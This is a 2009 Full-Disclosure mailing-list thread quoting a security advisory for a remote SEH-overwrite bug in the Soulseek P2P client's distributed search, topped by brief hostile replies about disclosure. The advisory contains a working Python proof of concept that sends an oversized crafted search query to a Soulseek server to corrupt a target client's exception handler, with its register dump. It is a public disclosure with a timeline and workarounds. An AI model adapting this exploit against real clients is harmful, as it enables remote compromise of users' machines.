Re: Soulseek * P2P Remote Distributed Search CodeExecution

["Anders Klixbull" <akl () experian dk>]

go suck a lemon

________________________________

From: full-disclosure-bounces () lists grok org uk [mailto:full-disclosure-bounces () lists grok org uk] On Behalf Of 
Pete Licoln
Sent: 5. juni 2009 08:02
To: laurent gaffie; full-disclosure
Subject: Re: [Full-disclosure] Soulseek * P2P Remote Distributed Search CodeExecution


Seems like you have a problem with responsible disclosure Kid ;
Do you have any familly relationship with jeremy Brown ? ;P

http://g-laurent.blogspot.com/2009/05/soulseek-p2p-remote-distributed-search.html#comments


2009/5/25 Pete Licoln <pete.licoln () gmail com>


        Oh so you have a blog ...
        http://g-laurent.blogspot.com/
        

        2009/5/25 laurent gaffie <laurent.gaffie () gmail com>
        

                =============================================
                - Release date: May 24th, 2009
                - Discovered by: Laurent Gaffié
                - Severity: critical
                =============================================
                
                I. VULNERABILITY
                -------------------------
                Soulseek 157 NS * & 156.* Remote Distributed Search Code Execution
                
                II. BACKGROUND
                -------------------------
                "Soulseek(tm) is a unique ad-free, spyware free, and just plain free file 
                sharing application.
                One of the things that makes Soulseek(tm) unique is our community and 
                community-related features.
                Based on peer-to-peer technology, virtual rooms allow you to meet people with
                the same interests, share information, and chat freely using real-time messages
                in public or private.
                Soulseek(tm), with its built-in people matching system, is a great way to make 
                new friends and expand your mind!"
                
                III. DESCRIPTION
                -------------------------
                Soulseek client allows distributed file search to one person, everyone, or in a 
                specific Soulseek IRC channel, allowing a user to find the files he wants, in 
                a dedicated channel, or with his contacts, or on the whole network.
                Unfortunatly this feature is vulnerable to a remote SEH overwrite to a specific
                user, or even to a whole Soulseek IRC channel.
                
                IV. PROOF OF CONCEPT
                -------------------------
                This proof of concept is made to prevent a S-K party, it is only build to 
                target the user "testt4321".
                
                To try this proof of concept, you would have to open a soulseek client and use
                the username:
                "testt4321"
                with the password:
                "12345678"
                And launch this code.
                If you want to change the username or target a whole channel, you would have 
                to reverse the binary protocol
                
                
                
                #!/usr/bin/python
                import struct
                import sys, socket 
                from time import *
                
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect(("208.76.170.50",2242))  # Change to Port 2240 for 156* branch
                
                buffer = "\x48\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x74\x65\x73\x74"
                buffer+= "\x34\x33\x32\x31\x08\x00\x00\x00\x31\x32\x33\x34\x35\x36\x37\x38"
                buffer+= "\xb5\x00\x00\x00\x20\x00\x00\x00\x38\x65\x39\x31\x66\x37\x33\x30"
                buffer+= "\x35\x35\x37\x31\x32\x35\x64\x37\x34\x39\x32\x34\x62\x64\x66\x35"
                buffer+= "\x63\x32\x39\x61\x36\x37\x64\x61\x01\x00\x00\x00"
                
                s.send(buffer)
                sleep(1) 
                
                junk = "\x41" * 3084
                next_seh = struct.pack('<L', 0x42424242)
                seh =      struct.pack('<L', 0x43434343)
                other_junk = "\x61" * 1423
                
                buffer2 = "\x01\x0f\x00\x00\x2a\x00\x00\x00\x09\x00\x00\x00\x74\x65\x73\x74"
                buffer2+= "\x74\x34\x33\x32\x31\xa4\x5a\x51\x44\xe8\x0e\x00\x00"+junk+next_seh+seh+other_junk
                s.send(buffer2)
                sleep(1)
                s.recv(1024)
                
                
                
                After the query is send, the memory will look like this
                0012FBE4   41414141
                0012FBE8   42424242  Pointer to next SEH record
                0012FBEC   43434343  SE handler
                0012FBF0   61616161
                
                And the program will terminate with this structure:
                EAX 00000000
                ECX 43434343
                EDX 7C9132BC ntdll.7C9132BC
                EBX 00000000
                ESP 0012EA78
                EBP 0012EA98
                ESI 00000000
                EDI 00000000
                EIP 43434343
                
                
                V. BUSINESS IMPACT
                -------------------------
                An attacker could exploit this vulnerability to compromise any Soulseek client connected to
                the Soulseek network.
                
                VI. SYSTEMS AFFECTED
                -------------------------
                Windows all versions running Soulseek *
                
                VII. SOLUTION
                -------------------------
                A fast solution would be to use Nicotine-Plus (http://nicotine-plus.sourceforge.net/) 
                a Python Soulseek client.
                Another quick workaround (at server level) would be to limit the search query lenght.
                
                VIII. REFERENCES
                -------------------------
                http://www.slsknet.org <http://www.slsknet.org/> 
                
                IX. CREDITS
                -------------------------
                This vulnerability has been discovered by Laurent Gaffié
                Laurent.gaffie{remove-this}(at)gmail.com <http://gmail.com/> 
                
                
                X. REVISION HISTORY
                -------------------------
                May 24, 2009: Initial release
                
                
                XI. DISCLOSURE TIMELINE
                -------------------------
                july      29, 2008: Bug discovered
                September 03, 2008: Vendor contacted; no response.
                October   14, 2008: Vendor contacted; still no response.
                April     12, 2009: Idefense contacted.
                April     13, 2009: Idefense answered.
                April     23, 2009: Advisory send to idefense contributor program.
                May       13, 2009: Idefense contacted, bug rejected (no reason given)
                May       15, 2009: Idefense recontacted; no answer.
                May       16, 2009: Last try to contact Soulseek maintainers
                May       24, 2009: Advisory published.
                
                XII. LEGAL NOTICES
                -------------------------
                The information contained within this advisory is supplied "as-is"
                with no warranties or guarantees of fitness of use or otherwise.
                I accept no responsibility for any damage caused by the use or 
                misuse of this information.
                
                
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